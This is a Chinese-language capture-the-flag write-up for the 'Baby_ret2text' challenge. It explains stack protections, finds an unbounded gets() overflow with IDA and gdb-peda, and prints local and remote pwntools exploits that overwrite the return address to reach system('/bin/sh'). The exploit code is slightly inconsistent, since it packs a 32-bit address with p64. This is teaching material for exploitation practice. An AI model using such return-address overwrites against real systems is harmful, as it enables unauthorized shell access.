UNCTF:Baby_ret2text(棧溢位)
基本資訊查詢
Stack:這裡沒有開啟Stack保護,如果開啟的話會在棧中的返回地址前放一個隨機值,如果被覆蓋,程式就會報錯退出
NX:沒有開啟,如果開啟的話就不能讓IP暫存器指向堆、棧
這裡顯示這是一個ELF32位的程式
執行後發現需要input
canary(棧保護)
當啟用棧保護後,函式開始執行的時候會先往棧底插入 cookie
資訊,當函式真正返回的時候會驗證 cookie 資訊是否合法 (棧幀銷燬前測試該值是否被改變),如果不合法就停止程式執行
(棧溢位發生)。攻擊者在覆蓋返回地址的時候往往也會將 cookie 資訊給覆蓋掉,導致棧保護檢查失敗而阻止 shellcode
的執行,避免漏洞利用成功。在 Linux 中我們將 cookie 資訊稱為 Canary。
PIE
如果程式開啟了PIE保護的話,在每次載入程式時都變換載入地址
NX(DEP)
NX即No-eXecute(不可執行)的意思,限制一塊記憶體區域不可執行。
ASLR
ASLR(地址隨機化)是一種針對緩衝區溢位的安全保護技術,通過對堆、棧、共享庫對映等線性區佈局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊程式碼位置,達到阻止溢位攻擊的目的。
但是,地址隨機化不是對所有模組和記憶體區都進行隨機化!雖然libc、棧、堆的載入位置被隨機化,但主映象不會。
連結:https://www.jianshu.com/p/4231b886ded5
接著使用IDA分析
F5,檢視虛擬碼
發現get函式沒有限制長度,這裡有溢位
接著找到
找到system(“/bin/sh”)地址就可以構造exp
我們這裡知道了gets函式讀取無限制的使用者輸入到棧上,還有get函式的地址,接下來要確認輸入到多少位可以覆蓋到返回地址
建立隨機的字元:
gdb-peda$ pattern_create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
run執行,然後輸入剛才獲取的字元,程式會報錯
用pattern_offset命令算出偏移(填入報錯的地址):
編寫本地的exp:
from pwn import * #p=process("/home/luo/pwn/vul") p.sendline('b'*60 + p64(0x08048503)) p.interactive()
成功後繼續編寫遠端的exp:
#根據題目給的ip和埠遠端連線 from pwn import * p = remote('120.79.17.251','10001') p.sendline('b'*60 + p64(0x08048503)) p.interactive()
執行exp: